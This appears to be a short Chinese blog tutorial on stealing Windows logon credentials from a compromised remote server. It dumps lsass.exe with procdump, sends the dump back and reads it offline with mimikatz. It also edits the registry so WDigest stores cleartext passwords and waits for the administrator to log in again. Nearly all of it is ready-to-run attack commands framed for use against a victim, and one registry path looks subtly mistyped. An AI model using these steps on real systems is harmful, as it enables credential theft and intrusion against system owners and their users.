Mimikatz + procdump 的使用

控制远程的服务器后，‘帮助’对方下载mimikatz，然后以管理员身份运行

​​​​​​https://github.com/gentilkiwi/mimikatz/releases

privilege::debug   提取权限
sekurlsa::logonpasswords   抓取密码

mimikatz是从 lsass.exe进程中获取windows的账号及密码的，
这时，我们可以帮对方安装一个procdump64.exe（这是微软自己的工具，可以放心使用）

然后从 lsass.exe进程里导出一个 包含账号密码信息的lsass.dmp 文件，再把这个dmp文件传回来，最后在自己的环境下运行mimikatz，从 dmp文件里读取信息。
ProcDump - Windows Sysinternals | Microsoft Docs

1、安装procdump64.exe

2、从procdump64.exe里导出lsass.dmp

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

3、将lsass.dmp传回本地

4、使用本地的mimikatz.exe读取lsass.dmp

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit"

Windows10/2012R2 版本：
默认 Windows10 或者 2012R2 以上的，禁止在内存缓存中保存明文密码。

四步骤：
1、修改注册表
2、锁屏或者退出账号
3、等待目标系统管理员重新登录
4、读取密码

修改注册表来让 Wdigest Auth 保存明文口令：
复原把 1 改为 0

reg add HKLM\SYSTEM\CurrentControlSet\ControlSecurity\Providers\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

修改注册表需要重启，或者注销账号重新登录。

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

然后拿到 mimikatz 文件夹执行命令读明文：

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

高级用法